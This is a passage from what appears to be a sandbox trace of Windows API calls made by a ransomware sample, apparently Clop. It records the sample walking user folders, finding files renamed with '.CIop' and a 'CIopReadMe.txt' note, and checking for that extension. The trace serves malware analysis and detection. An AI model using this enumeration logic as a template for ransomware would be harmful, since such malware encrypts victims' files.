hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.177] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0169.178] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.178] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2="..") returned 1 [0169.178] lstrcmpW (lpString1="ZZaKb_aT-x EADqBsw", lpString2=".") returned 1 [0169.178] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0169.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0169.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0169.178] SetErrorMode (uMode=0x1) returned 0x1 [0169.178] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0169.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0169.178] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0169.178] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0169.178] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0169.178] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.178] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2="..") returned 1 [0169.178] lstrcmpW (lpString1="aR-iIw.m4a.CIop", lpString2=".") returned 1 [0169.178] lstrlenW (lpString=".CIop") returned 5 [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2="..") returned 1 [0169.178] lstrcmpW (lpString1="bWUX20g7Mm7g1y.wav.CIop", lpString2=".") returned 1 [0169.178] lstrlenW (lpString=".CIop") returned 5 [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.178] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.178] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2="..") returned 1 [0169.178] lstrcmpW (lpString1="g8L7418FmZslF.wav.CIop", lpString2=".") returned 1 [0169.178] lstrlenW (lpString=".CIop") returned 5 [0169.178] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.178] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2="..") returned 1 [0169.179] lstrcmpW (lpString1="lqlP4y.wav.CIop", lpString2=".") returned 1 [0169.179] lstrlenW (lpString=".CIop") returned 5 [0169.179] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2="..") returned 1 [0169.179] lstrcmpW (lpString1="NRNil.wav.CIop", lpString2=".") returned 1 [0169.179] lstrlenW (lpString=".CIop") returned 5 [0169.179] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2="..") returned 1 [0169.179] lstrcmpW (lpString1="rKQbOo.m4a.CIop", lpString2=".") returned 1 [0169.179] lstrlenW (lpString=".CIop") returned 5 [0169.179] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2="..") returned 1 [0169.179] lstrcmpW (lpString1="zdZ3oJ-bfmJu.wav.CIop", lpString2=".") returned 1 [0169.179] lstrlenW (lpString=".CIop") returned 5 [0169.179] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.179] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.179] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.179] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw" [0169.179] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*" [0169.179] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.179] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.179] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.179] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.179] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.180] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.180] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.180] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.180] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.180] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0169.180] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0169.180] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0169.180] SetErrorMode (uMode=0x1) returned 0x1 [0169.180] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0169.180] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0169.180] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.180] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0169.180] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0169.180] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.180] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.180] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.180] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*" [0169.180] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.180] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="My Documents" [0169.180] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0169.180] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\" [0169.180] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0169.181] SetErrorMode (uMode=0x1) returned 0x1 [0169.181] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0169.181] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0169.181] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.181] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.181] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.181] lstrlenW (lpString=".CIop") returned 5 [0169.181] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0169.181] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.181] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.181] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.181] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.181] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0169.181] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0169.181] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0169.181] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0169.181] SetErrorMode (uMode=0x1) returned 0x1 [0169.181] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0169.181] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0169.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0169.181] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.182] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0169.182] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0169.182] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0169.182] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0169.182] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0169.182] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0169.182] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0169.182] SetErrorMode (uMode=0x1) returned 0x1 [0169.182] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0169.182] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0169.182] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.182] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.182] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.182] lstrlenW (lpString=".CIop") returned 5 [0169.182] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0169.182] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0169.182] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0169.182] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.182] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0169.182] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.182] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0169.182] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) 